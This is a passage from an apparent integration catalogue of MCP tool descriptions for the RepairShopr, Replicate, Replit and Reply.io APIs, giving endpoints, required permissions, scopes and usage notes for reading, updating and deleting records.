repairshopr_put_contacts_by_id (write) — Updates an existing Contact -- Required permission: Customers - Edit Single-Customer Users can only access own contacts. via PUT /contacts/{id} PUT /api/v1/repairshopr/contacts/{id}. Scopes: customers_edit. repairshopr_put_contracts_by_id (write) — Updates an existing Contract by ID -- Required permission: Contracts - Edit Covered items are part of the contract payload: * `product_price_overrides` — the covered products with their contracted rate (`price_retail_cents` or `discount_percentage`) and their block-list status (`blacklisted`, meaning the product is billed separately from the contract). * `non_billable_product_ids` — products covered by the contract and therefore not billed on their own. * `schedule_ids` — the recurring invoice schedules this contract governs. Link a schedule to a contract by sending `contract_id` to the Schedule endpoints. via PUT /contracts/{id} PUT /api/v1/repairshopr/contracts/{id}. Scopes: contracts_edit. repairshopr_put_customer_assets_by_id (write) — Updates an existing Asset by ID -- Required permission: Assets - Edit Single-Customer Users can only access own assets. via PUT /customer_assets/{id} PUT /api/v1/repairshopr/customer_assets/{id}. Scopes: assets_edit. repairshopr_put_customers_by_customer_id_payment_profiles_by_id (write) — Updates a Payment Profile via PUT /customers/{customer_id}/payment_profiles/{id} PUT /api/v1/repairshopr/customers/{customer_id}/payment_profiles/{id}. Scopes: none. repairshopr_put_customers_by_customer_id_phones_by_id (write) — Updates an existing Phone by ID -- Required permission: Customers - Edit Single-Customer Users can only access own. via PUT /customers/{customer_id}/phones/{id} PUT /api/v1/repairshopr/customers/{customer_id}/phones/{id}. Scopes: customers_edit. repairshopr_put_customers_by_id (write) — Updates an existing Customer by ID -- Required permission: Customers - Edit Single-Customer Users can only access own customer (self). via PUT /customers/{id} PUT /api/v1/repairshopr/customers/{id}. Scopes: customers_edit. repairshopr_put_estimates_by_id (write) — Updates an existing Estimate by ID -- Required permission: Estimates - Edit via PUT /estimates/{id} PUT /api/v1/repairshopr/estimates/{id}. Scopes: estimates_edit. repairshopr_put_estimates_by_id_line_items_by_line_item_id (write) — Updates a Line Item -- Required permission: Estimates - Edit via PUT /estimates/{id}/line_items/{line_item_id} PUT /api/v1/repairshopr/estimates/{id}/line_items/{line_item_id}. Scopes: estimates_edit. repairshopr_put_invoices_by_id (write) — Updates an existing invoice by ID -- This updates an existing Invoice, all parameters overwrite existing params via PUT /invoices/{id} PUT /api/v1/repairshopr/invoices/{id}. Scopes: none. repairshopr_put_invoices_by_id_line_items_by_line_item_id (write) — Updates an a line item of an invoice by ID -- This updates an existing Invoice's line item, all parameters overwrite existing params via PUT /invoices/{id}/line_items/{line_item_id} PUT /api/v1/repairshopr/invoices/{id}/line_items/{line_item_id}. Scopes: none. repairshopr_put_leads_by_id (write) — Updates an existing Lead by ID -- Required permission: None via PUT /leads/{id} PUT /api/v1/repairshopr/leads/{id}. Scopes: none. repairshopr_put_portal_users_by_id (write) — Updates an existing Portal User by ID -- Required permission: Global Admin via PUT /portal_users/{id} PUT /api/v1/repairshopr/portal_users/{id}. Scopes: global_admin. repairshopr_put_products_by_id (write) — Updates an existing Product by ID -- Required permission: Products - Edit via PUT /products/{id} PUT /api/v1/repairshopr/products/{id}. Scopes: products_edit. repairshopr_put_products_by_id_location_quantities (write) — Updates a Location Quantity -- Required permission: Products - Edit Quantities via PUT /products/{id}/location_quantities PUT /api/v1/repairshopr/products/{id}/location_quantities. Scopes: products_edit_quantities. repairshopr_put_products_by_product_id_product_serials_by_id (write) — Updates an existing Product Serial by ID -- Required permission: Products - Edit via PUT /products/{product_id}/product_serials/{id} PUT /api/v1/repairshopr/products/{product_id}/product_serials/{id}. Scopes: products_edit. repairshopr_put_products_by_product_id_product_skus_by_id (write) — Updates an existing Product SKU by ID -- Required permission: Products - Edit via PUT /products/{product_id}/product_skus/{id} PUT /api/v1/repairshopr/products/{product_id}/product_skus/{id}. Scopes: products_edit. repairshopr_put_purchase_orders_by_id (write) — Updates a Purchase Order -- Required permission: Purchase Orders - Edit Updates allowed fields on a Purchase Order. Only the following fields may be modified: `status`, `general_notes`, `shipping_cents`, `delivery_tracking`, `vendor_id`. via PUT /purchase_orders/{id} PUT /api/v1/repairshopr/purchase_orders/{id}. Scopes: purchase_orders_edit. repairshopr_put_schedules_by_id (write) — Updates an existing Invoice Schedule by ID -- Required permission: Recurring Invoices - Edit Accepts the same fields as `POST /schedules`. Only the fields you send are changed; omitted fields are left alone. Changing `customer_id` on a schedule that already has a `contract_id` or a `payment_id` requires sending a matching one too, or an empty one to unlink — otherwise the schedule would keep pointing at another customer's contract or card. `id`, `account_id`, `created_at`, `updated_at` and `last_run` are read-only. So are `subscription_status` and `recurring_type_id`, which are maintained for you: the first is recomputed from the linked contract and the unpaid invoice count on every run, and the second is what selects the billing engine for the whole schedule. Every id in the request is checked against your account before anything is written, so a rejected request changes nothing. Errors come back as `{"error": ["Location can't be found", ...]}` with status 422. via PUT /schedules/{id} PUT /api/v1/repairshopr/schedules/{id}. Scopes: recurring_invoices_edit. repairshopr_put_schedules_by_id_line_items_by_schedule_line_item_id (write) — Updates a Line Item -- Required permission: Recurring Invoices - Edit Accepts the same fields as adding one. Only the fields you send are changed. via PUT /schedules/{id}/line_items/{schedule_line_item_id} PUT /api/v1/repairshopr/schedules/{id}/line_items/{schedule_line_item_id}. Scopes: recurring_invoices_edit. repairshopr_put_tickets_by_id (write) — Updates an existing Ticket by ID -- Required permission: Tickets - Edit Sending `parent_id` additionally requires: Ticket Parent-Child - Edit. Requests that send it without that permission, or on an account without parent/child tickets enabled, are rejected with 403. Send an empty `parent_id` to unlink the Ticket from its parent. Single-Customer Users can only access own tickets. via PUT /tickets/{id} PUT /api/v1/repairshopr/tickets/{id}. Scopes: tickets_edit. repairshopr_put_tickets_by_id_update_line_item (write) — Updates an existing Ticket Line Item -- Required permission: Tickets - Edit Single-Customer Users can only access own tickets. via PUT /tickets/{id}/update_line_item PUT /api/v1/repairshopr/tickets/{id}/update_line_item. Scopes: tickets_edit. repairshopr_put_tickets_by_id_update_timer_entry (write) — Updates an existing Ticket Timer -- Required permission: Ticket Timers - Overview via PUT /tickets/{id}/update_timer_entry PUT /api/v1/repairshopr/tickets/{id}/update_timer_entry. Scopes: ticket_timers_overview. repairshopr_put_tickets_by_ticket_id_worksheet_results_by_id (write) — Updates a Worksheet Result -- Required permissions: "Tickets - View Details" or "Tickets - View 'Their Ticket' Details (assigned to them)" Single-Customer Users can only access own tickets. The `answers` object accepts one or more field updates. Each key should be the field's slug, and the value should be an object containing `value` (the new field value) and optionally `user` (who made the change). If `user` is not provided, it defaults to the API token owner. via PUT /tickets/{ticket_id}/worksheet_results/{id} PUT /api/v1/repairshopr/tickets/{ticket_id}/worksheet_results/{id}. Scopes: tickets_view_details. repairshopr_put_timelogs (write) — Updates a Timelog -- Users with permission "Timelogs - Manage" may see timelogs for any/all users. Otherwise, results scoped to current user. via PUT /timelogs PUT /api/v1/repairshopr/timelogs. Scopes: none. repairshopr_put_user_devices_by_id (write) — Updates an existing User Device by UUID via PUT /user_devices/{id} PUT /api/v1/repairshopr/user_devices/{id}. Scopes: none. repairshopr_put_vendors_by_id (write) — Updates an existing Vendor page by ID -- Required permission: Vendors - Edit via PUT /vendors/{id} PUT /api/v1/repairshopr/vendors/{id}. Scopes: vendors_edit. repairshopr_put_wiki_pages_by_id (write) — Updates an existing Wiki Page by ID -- Required permission: Documentation - Edit via PUT /wiki_pages/{id} PUT /api/v1/repairshopr/wiki_pages/{id}. Scopes: documentation_edit. ================================================================================ ## Replicate URL: https://www.agenticfabriq.com/integrations/replicate Section: Integrated Tools Replicate — 36 MCP tools Provider key: replicate. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. replicate_delete_deployments_by_deployment_owner_by_deployment_name (write, destructive) — Delete a deployment via DELETE /deployments/{deployment_owner}/{deployment_name}. Delete a deployment. Deployment deletion has some restrictions. - You can only delete deployments that have been offline and unused for at least 15 minutes. The response will be an empty 204, indicating the deployment has been deleted DELETE /api/v1/replicate/deployments/{deployment_owner}/{deployment_name}. Scopes: api. replicate_delete_files_by_file_id (write, destructive) — Delete a file via DELETE /files/{file_id}. Delete a file. Once a file has been deleted, subsequent requests to the file resource return 404 Not found DELETE /api/v1/replicate/files/{file_id}. Scopes: api. replicate_delete_models_by_model_owner_by_model_name (write, destructive) — Delete a model via DELETE /models/{model_owner}/{model_name}. Delete a model. Model deletion has some restrictions. - You can only delete models you own. - You can only delete private models. - You can only delete models that have no versions associated with them. Currently you'll need to delete the model's versions before you can delete the model itself. The response will be an empty 204, indicating the model has been deleted DELETE /api/v1/replicate/models/{model_owner}/{model_name}. Scopes: api. replicate_delete_models_by_model_owner_by_model_name_versions_by_version_id (write, destructive) — Delete a model version via DELETE /models/{model_owner}/{model_name}/versions/{version_id}. Delete a model version and all associated predictions, including all output files. Model version deletion has some restrictions. - You can only delete versions from models you own. - You can only delete versions from private models. - You cannot delete a version if someone other than you has run predictions with it. - You cannot delete a version if it is being used as the base model for a fine tune/training. DELETE /api/v1/replicate/models/{model_owner}/{model_name}/versions/{version_id}. Scopes: api. replicate_get_account (read) — Get the authenticated account via GET /account. Returns information about the user or organization associated with the provided API token. The response will be a JSON object describing the account GET /api/v1/replicate/account. Scopes: api. replicate_get_collections (read) — List collections of models via GET /collections. The response will be a paginated JSON list of collection objects GET /api/v1/replicate/collections. Scopes: api. replicate_get_collections_by_collection_slug (read) — Get a collection of models via GET /collections/{collection_slug}. The response will be a collection object with a nested list of the models in that collection GET /api/v1/replicate/collections/{collection_slug}. Scopes: api. replicate_get_deployments (read) — List deployments via GET /deployments. Get a list of deployments associated with the current account, including the latest release configuration for each deployment. The response will be a paginated JSON array of deployment objects, sorted with the most recent deployment first GET /api/v1/replicate/deployments. Scopes: api. replicate_get_deployments_by_deployment_owner_by_deployment_name (read) — Get a deployment via GET /deployments/{deployment_owner}/{deployment_name}. Get information about a deployment by name including the current release. The response will be a JSON object describing the deployment GET /api/v1/replicate/deployments/{deployment_owner}/{deployment_name}. Scopes: api. replicate_get_files (read) — List files via GET /files. Get a paginated list of all files created by the user or organization associated with the provided API token. The response will be a paginated JSON array of file objects, sorted with the most recent file first GET /api/v1/replicate/files. Scopes: api. replicate_get_files_by_file_id (read) — Get a file via GET /files/{file_id}. Get the details of a file GET /api/v1/replicate/files/{file_id}. Scopes: api. replicate_get_files_by_file_id_download (read) — Download a file via GET /files/{file_id}/download. WITHHELD: replicate_get_files_by_file_id_download is not offered. The route answers application/octet-stream -- unbounded bytes, which never enter a tool result -- and its required `signature` parameter is an HMAC-SHA256 of '{owner} {id} {expiry}' computed with Replicate's Files API signing secret, which Replicate publishes no endpoint to obtain (measured 2026-09-16: no query parameters answers 400 'Missing query parameters' and an invented signature answers 403 'Invalid signature'). Use replicate_get_files_by_file_id for the file's metadata and its `urls.get` address. GET /api/v1/replicate/files/{file_id}/download. Scopes: api. replicate_get_hardware (read) — List available hardware for models via GET /hardware. The response will be a JSON array of hardware objects GET /api/v1/replicate/hardware. Scopes: api. replicate_get_models (read) — List public models via GET /models. Get a paginated list of public models. The response will be a pagination object containing a list of model objects. See the `models.get` docs for more details about the model object. Sorting. You can sort the results using the `sort_by` and `sort_direction` query parameters. For example, to get the most recently created models. Available sorting options. - `model_created_at`. GET /api/v1/replicate/models. Scopes: api. replicate_get_models_by_model_owner_by_model_name (read) — Get a model via GET /models/{model_owner}/{model_name}. The response will be a model object in the following format. The model object includes the input and output schema for the latest version of the model. The `cover_image_url` string is an HTTPS URL for an image file. This can be. - An image uploaded by the model author. - The output file of the example prediction, if the model author has not set a cover image. GET /api/v1/replicate/models/{model_owner}/{model_name}. Scopes: api. replicate_get_models_by_model_owner_by_model_name_examples (read) — List examples for a model via GET /models/{model_owner}/{model_name}/examples. List example predictions made using the model. These are predictions that were saved by the model author as illustrative examples of the model's capabilities. If you want all the examples for a model, use this operation. If you just want the model's default example, you can use the `models.get` operation instead, which includes a `default_example` object. GET /api/v1/replicate/models/{model_owner}/{model_name}/examples. Scopes: api. replicate_get_models_by_model_owner_by_model_name_readme (read) — Get a model's README via GET /models/{model_owner}/{model_name}/readme. Get the README content for a model. The response will be the README content as plain text in Markdown format GET /api/v1/replicate/models/{model_owner}/{model_name}/readme. Scopes: api. replicate_get_models_by_model_owner_by_model_name_versions (read) — List model versions via GET /models/{model_owner}/{model_name}/versions. The response will be a JSON array of model version objects, sorted with the most recent version first GET /api/v1/replicate/models/{model_owner}/{model_name}/versions. Scopes: api. replicate_get_models_by_model_owner_by_model_name_versions_by_version_id (read) — Get a model version via GET /models/{model_owner}/{model_name}/versions/{version_id}. The response will be the version object. Every model describes its inputs and outputs with OpenAPI Schema Objects in the `openapi_schema` property. The `openapi_schema.components.schemas.Input` property for the replicate/hello-world model looks like this. The `openapi_schema.components.schemas.Output` property for the replicate/hello-world model looks like this. GET /api/v1/replicate/models/{model_owner}/{model_name}/versions/{version_id}. Scopes: api. replicate_get_predictions (read) — List predictions via GET /predictions. Get a paginated list of all predictions created by the user or organization associated with the provided API token. This will include predictions created from the API and the website. It will return 100 records per page. The response will be a paginated JSON array of prediction objects, sorted with the most recent prediction first. `id` will be the unique ID of the prediction. GET /api/v1/replicate/predictions. Scopes: api. replicate_get_predictions_by_prediction_id (read) — Get a prediction via GET /predictions/{prediction_id}. Get the current state of a prediction. The response will be the prediction object. `source` will indicate how the prediction was created. Possible values are `web` or `api`. `status` will be one of. - `starting`. the prediction is starting up. If this status lasts longer than a few seconds, then it's typically because a new worker is being started to run the prediction. - `processing`. GET /api/v1/replicate/predictions/{prediction_id}. Scopes: api. replicate_get_search (read) — Search models, collections, and docs (beta) via GET /search. Search for public models, collections, and docs using a text query. For models, the response includes all model data, plus a new `metadata` object with the following fields. - `generated_description`. A longer and more detailed AI-generated description of the model - `tags`. An array of tags for the model - `score`. A score for the model's relevance to the search query. GET /api/v1/replicate/search. Scopes: api. replicate_get_trainings (read) — List trainings via GET /trainings. Get a paginated list of all trainings created by the user or organization associated with the provided API token. This will include trainings created from the API and the website. It will return 100 records per page. The response will be a paginated JSON array of training objects, sorted with the most recent training first. `id` will be the unique ID of the training. GET /api/v1/replicate/trainings. Scopes: api. replicate_get_trainings_by_training_id (read) — Get a training via GET /trainings/{training_id}. Get the current state of a training. The response will be the training object. `status` will be one of. - `starting`. the training is starting up. If this status lasts longer than a few seconds, then it's typically because a new worker is being started to run the training. - `processing`. the `train()` method of the model is currently running. - `succeeded`. the training completed successfully. - `failed`. GET /api/v1/replicate/trainings/{training_id}. Scopes: api. replicate_get_webhooks_default_secret (read) — Get the signing secret for the default webhook via GET /webhooks/default/secret. Get the signing secret for the default webhook endpoint. This is used to verify that webhook requests are coming from Replicate. The response will be a JSON object with a `key` property GET /api/v1/replicate/webhooks/default/secret. Scopes: api. replicate_patch_deployments_by_deployment_owner_by_deployment_name (write) — Update a deployment via PATCH /deployments/{deployment_owner}/{deployment_name}. Update properties of an existing deployment, including hardware, min/max instances, and the deployment's underlying model version. The response will be a JSON object describing the deployment. Updating any deployment properties will increment the `number` field of the `current_release` PATCH /api/v1/replicate/deployments/{deployment_owner}/{deployment_name}. Scopes: api. replicate_patch_models_by_model_owner_by_model_name (write) — Update metadata for a model via PATCH /models/{model_owner}/{model_name}. Update select properties of an existing model. You can update the following properties. - `description` - Model description - `readme` - Model README content - `github_url` - GitHub repository URL - `paper_url` - Research paper URL - `weights_url` - Model weights URL - `license_url` - License URL. The response will be the updated model object with all of its properties PATCH /api/v1/replicate/models/{model_owner}/{model_name}. Scopes: api. replicate_post_deployments (write) — Create a deployment via POST /deployments. Create a new deployment. The response will be a JSON object describing the deployment POST /api/v1/replicate/deployments. Scopes: api. replicate_post_deployments_by_deployment_owner_by_deployment_name_predictions (write) — Create a prediction using a deployment via POST /deployments/{deployment_owner}/{deployment_name}/predictions. Create a prediction for the deployment and inputs you provide. The request will wait up to 60 seconds for the model to run. If this time is exceeded the prediction will be returned in a `"starting"` state and need to be retrieved using the `predictions.get` endpoint. POST /api/v1/replicate/deployments/{deployment_owner}/{deployment_name}/predictions. Scopes: api. replicate_post_files (write) — Create a file via POST /files. Create a file by uploading its content and optional metadata. The request must include. - `content`. The file content (required) - `type`. The content / MIME type for the file (defaults to `application/octet-stream`) - `filename`. The filename (required, ≤ 255 bytes, valid UTF-8) - `metadata`. User-provided metadata associated with the file (defaults to `{}`, must be valid JSON) POST /api/v1/replicate/files. Scopes: api. replicate_post_models (write) — Create a model via POST /models. Create a model. The response will be a model object in the following format. Note that there is a limit of 1,000 models per account. For most purposes, we recommend using a single model and pushing new versions of the model as you make changes to it POST /api/v1/replicate/models. Scopes: api. replicate_post_models_by_model_owner_by_model_name_predictions (write) — Create a prediction using an official model via POST /models/{model_owner}/{model_name}/predictions. Create a prediction using an official model. If you're _not_ running an official model, use the `predictions.create` operation instead. The request will wait up to 60 seconds for the model to run. If this time is exceeded the prediction will be returned in a `"starting"` state and need to be retrieved using the `predictions.get` endpoint. POST /api/v1/replicate/models/{model_owner}/{model_name}/predictions. Scopes: api. replicate_post_models_by_model_owner_by_model_name_versions_by_version_id_trainings (write) — Create a training via POST /models/{model_owner}/{model_name}/versions/{version_id}/trainings. Start a new training of the model version you specify. The response will be the training object. As models can take several minutes or more to train, the result will not be available immediately. To get the final result of the training you should either provide a `webhook` HTTPS URL for us to call when the results are ready, or poll the get a training endpoint until it has finished. POST /api/v1/replicate/models/{model_owner}/{model_name}/versions/{version_id}/trainings. Scopes: api. replicate_post_predictions (write) — Create a prediction via POST /predictions. Create a prediction for the model version and inputs you provide. The request will wait up to 60 seconds for the model to run. If this time is exceeded the prediction will be returned in a `"starting"` state and need to be retrieved using the `predictions.get` endpoint. For a complete overview of the `predictions.create` API check out our documentation on creating a prediction which covers a variety of use cases POST /api/v1/replicate/predictions. Scopes: api. replicate_post_predictions_by_prediction_id_cancel (write) — Cancel a prediction via POST /predictions/{prediction_id}/cancel. Cancel a prediction that is currently running POST /api/v1/replicate/predictions/{prediction_id}/cancel. Scopes: api. replicate_post_trainings_by_training_id_cancel (write) — Cancel a training via POST /trainings/{training_id}/cancel. Cancel a training POST /api/v1/replicate/trainings/{training_id}/cancel. Scopes: api. ================================================================================ ## Replit URL: https://www.agenticfabriq.com/integrations/replit Section: Integrated Tools Replit — 8 MCP tools Provider key: replit_apps. Scopes: apps:read, apps:write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. replit_apps_ask_question (read) — Ask Replit Agent a natural-language question about one of the user's Replit Apps WITHOUT changing it — how routing works, why a request fails, where a bug might be. Use this for explanation, debugging help and inspection; use replit_apps_update_app_using_prompt when the user wants the app's behaviour changed. Returns `phase` plus Agent's answer: `paused` means it answered, `busy` means Agent was already working and the question was NOT submitted, so retry later. The question is visible to the user inside their own Replit App. POST /api/v1/tools/replit-apps/apps/ask. Scopes: apps:read. replit_apps_create_app_from_prompt (write) — Create a NEW Replit App from a natural-language description; Replit Agent builds, hosts and runs it. Additive — it leaves every existing app untouched, which is why it is not marked destructive. Returns the new app's `replId`. Describe intent in natural language only: implementation is Agent's job, not the caller's. POST /api/v1/tools/replit-apps/apps/create. Scopes: apps:write. replit_apps_get_publish_status (read) — Check the progress of a publish started by replit_apps_publish_app. Publishing is asynchronous, so this is how to tell whether the app is live yet. GET /api/v1/tools/replit-apps/apps/publish-status. Scopes: apps:read. replit_apps_list_apps (read) — List the user's Replit Apps, most recently updated first. START HERE: each app carries the `replId` UUID that replit_apps_ask_question, replit_apps_update_app_using_prompt, replit_apps_publish_app and replit_apps_get_publish_status all require — none of them accepts an app name, and a replId must never be guessed. GET /api/v1/tools/replit-apps/apps. Scopes: apps:read. replit_apps_publish_app (write, destructive) — DESTRUCTIVE — publish a Replit App, making it reachable by anyone on the public internet. The exposure is OUTWARD and one-way in practice: unpublishing later does not retract what was fetched, indexed, screenshotted or archived while it was live. Confirm the user wants the app public before calling. Some app kinds still need their FIRST publish done from replit.com, and Replit says so in the result rather than failing. Poll replit_apps_get_publish_status for progress. POST /api/v1/tools/replit-apps/apps/publish. Scopes: apps:write. replit_apps_resolve_app_by_name (read) — Resolve one Replit App by its EXACT title and return its `replId`. Replit compares case-insensitively but exactly: substrings, prefixes and fuzzy matches do NOT resolve. If the user's wording might not be the literal title, use replit_apps_search_apps instead. GET /api/v1/tools/replit-apps/apps/resolve. Scopes: apps:read. replit_apps_search_apps (read) — Search the user's Replit Apps by keywords (ranked against app titles), or resolve one directly from its Replit URL. Use this rather than replit_apps_resolve_app_by_name when the name is approximate: resolve_app_by_name requires an exact title. Returns each app's `replId`. GET /api/v1/tools/replit-apps/apps/search. Scopes: apps:read. replit_apps_update_app_using_prompt (write, destructive) — DESTRUCTIVE — have Replit Agent CHANGE an existing Replit App. Agent rewrites the app's code in place and Agentic Fabriq cannot restore the previous version; Replit's own tool annotation marks this destructive too. Use replit_apps_ask_question when the user only wants to understand the app rather than change it. Describe the change in natural language only — no code, no file paths, no implementation guidance. POST /api/v1/tools/replit-apps/apps/update. Scopes: apps:write. ================================================================================ ## Reply.io URL: https://www.agenticfabriq.com/integrations/replyio Section: Integrated Tools Reply.io — 372 MCP tools Provider key: replyio. Scopes: ai-sdr:operate, ai-sdr:read, ai-sdr:write, channels:operate, channels:read, channels:write, contacts:operate, contacts:read, contacts:write, inbox:operate, inbox:read, inbox:write, other:operate, other:read, reporting:read, sequences:operate, sequences:read, sequences:write, settings:read, settings:write, tasks:operate, tasks:read, tasks:write, webhooks:operate, webhooks:read, webhooks:write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. replyio_delete_v3_ai_prompts_by_id (write, destructive) — Delete a personal AI prompt. DELETE /v3/ai-prompts/{id}. Delete one of your personal AI prompts. Steps already using it keep their saved text. Library prompts cannot be deleted. DELETE /api/v1/replyio/v3/ai-prompts/{id}. Scopes: sequences:write. replyio_delete_v3_ai_sdr_knowledge_bases_by_id (write, destructive) — Delete a knowledge base. DELETE /v3/ai-sdr/knowledge-bases/{id}. Delete a knowledge base by id so the AI SDR stops writing from it. Returns 204 with no body when it succeeds. DELETE /api/v1/replyio/v3/ai-sdr/knowledge-bases/{id}. Scopes: ai-sdr:write. replyio_delete_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_documents_by_document_id (write, destructive) — Delete a document. DELETE /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/documents/{document_id}. Remove a file from a knowledge base so the AI SDR stops drawing on it. Returns 204 with no body when it succeeds. DELETE /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/documents/{document_id}. Scopes: ai-sdr:write. replyio_delete_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_links_by_link_id (write, destructive) — Delete a link. DELETE /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/links/{link_id}. Remove a web page from a knowledge base so the AI SDR stops drawing on it. Returns 204 with no body on success. DELETE /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/links/{link_id}. Scopes: ai-sdr:write. replyio_delete_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_cards_by_reengagement_card_id (write, destructive) — Delete a reengagement card. DELETE /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-cards/{reengagement_card_id}. Delete a reengagement card so it no longer fires for quiet contacts. To keep it but stop it firing, set isEnabled to false. DELETE /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-cards/{reengagement_card_id}. Scopes: ai-sdr:write. replyio_delete_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_cards_by_reengagement_card_id_media_by_media_id (write, destructive) — Delete reengagement card media. DELETE /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-cards/{reengagement_card_id}/media/{media_id}. Detach a file from a reengagement card so it stops going out with the card's messages. Returns 204 with no body. DELETE /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-cards/{reengagement_card_id}/media/{media_id}. Scopes: ai-sdr:write. replyio_delete_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_flows_by_flow_id (write, destructive) — Delete a reengagement flow. DELETE /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/{flow_id}. Retire a reengagement flow and its cards. Contacts on it fall back to the default flow, which cannot itself be deleted. DELETE /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/{flow_id}. Scopes: ai-sdr:write. replyio_delete_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reply_handlers_by_reply_handler_id (write, destructive) — Delete a reply handler. DELETE /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reply-handlers/{reply_handler_id}. Delete a reply handler so the AI SDR stops applying it to incoming replies. Returns 204 with no body on success. DELETE /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reply-handlers/{reply_handler_id}. Scopes: ai-sdr:write. replyio_delete_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reply_handlers_by_reply_handler_id_media_by_media_id (write, destructive) — Delete reply handler media. DELETE /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reply-handlers/{reply_handler_id}/media/{media_id}. Detach a file from a reply handler so it stops going out with the answers the agent writes. Returns 204 with no body. DELETE /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reply-handlers/{reply_handler_id}/media/{media_id}. Scopes: ai-sdr:write. replyio_delete_v3_ai_sdr_offers_by_id (write, destructive) — Delete an offer. DELETE /v3/ai-sdr/offers/{id}. Delete an offer you no longer work with, by id. A successful call returns no content. Needs the AI SDR feature on your team. DELETE /api/v1/replyio/v3/ai-sdr/offers/{id}. Scopes: ai-sdr:write. replyio_delete_v3_ai_sdr_playbooks_by_id (write, destructive) — Delete a playbook. DELETE /v3/ai-sdr/playbooks/{id}. Delete a playbook by its composite id. Reply-curated global playbooks cannot be deleted, and organization ones need permission. DELETE /api/v1/replyio/v3/ai-sdr/playbooks/{id}. Scopes: ai-sdr:write. replyio_delete_v3_ai_sdr_playbooks_by_playbook_id_style_files_by_style_file_id (write, destructive) — Delete a style file. DELETE /v3/ai-sdr/playbooks/{playbook_id}/style-files/{style_file_id}. Remove a style file so it stops informing how the AI SDR writes for this playbook. Only that file is removed. DELETE /api/v1/replyio/v3/ai-sdr/playbooks/{playbook_id}/style-files/{style_file_id}. Scopes: ai-sdr:write. replyio_delete_v3_contact_account_lists_by_id (write, destructive) — Delete an account list. DELETE /v3/contact-account-lists/{id}. Delete an account list by id. The accounts stay in Reply and keep their other lists — only membership in this list goes away. DELETE /api/v1/replyio/v3/contact-account-lists/{id}. Scopes: contacts:write. replyio_delete_v3_contact_accounts_by_id (write, destructive) — Delete an account. DELETE /v3/contact-accounts/{id}. Delete one account by id. Its linked contacts are kept and simply left without an account. Use bulk-delete for several. DELETE /api/v1/replyio/v3/contact-accounts/{id}. Scopes: contacts:write. replyio_delete_v3_contact_blacklist_rules_domains_by_id (write, destructive) — Delete a domain blacklist rule. DELETE /v3/contact-blacklist-rules/domains/{id}. Stop blocking a domain so contacts there are reachable again. Only your own rules go; Reply's platform rules are read-only. DELETE /api/v1/replyio/v3/contact-blacklist-rules/domains/{id}. Scopes: contacts:write. replyio_delete_v3_contact_blacklist_rules_email_exceptions_by_id (write, destructive) — Delete an email exception blacklist rule. DELETE /v3/contact-blacklist-rules/email-exceptions/{id}. Withdraw an exception so its address falls back under your blacklist, if a domain or email rule still covers it. DELETE /api/v1/replyio/v3/contact-blacklist-rules/email-exceptions/{id}. Scopes: contacts:write. replyio_delete_v3_contact_blacklist_rules_emails_by_id (write, destructive) — Delete an email blacklist rule. DELETE /v3/contact-blacklist-rules/emails/{id}. Unblock one address. It becomes reachable again unless a domain rule still covers its domain. Platform rules are read-only. DELETE /api/v1/replyio/v3/contact-blacklist-rules/emails/{id}. Scopes: contacts:write. replyio_delete_v3_contact_lists_by_id (write, destructive) — Delete a contact list. DELETE /v3/contact-lists/{id}. Delete a contact list by id. A shared list can only be deleted by the person who created it. DELETE /api/v1/replyio/v3/contact-lists/{id}. Scopes: contacts:write. replyio_delete_v3_contacts_by_id (write, destructive) — Delete a contact. DELETE /v3/contacts/{id}. Delete one contact by its Reply id. To remove several at once, use the bulk-delete endpoint instead. DELETE /api/v1/replyio/v3/contacts/{id}. Scopes: contacts:write. replyio_delete_v3_custom_fields_by_id (write, destructive) — Delete a custom field. DELETE /v3/custom-fields/{id}. Retire a custom field your team no longer collects. It disappears for everyone, even where contacts already hold values. DELETE /api/v1/replyio/v3/custom-fields/{id}. Scopes: contacts:write. replyio_delete_v3_email_accounts_by_id (write, destructive) — Delete an email account. DELETE /v3/email-accounts/{id}. Disconnect one email account and remove it from Reply 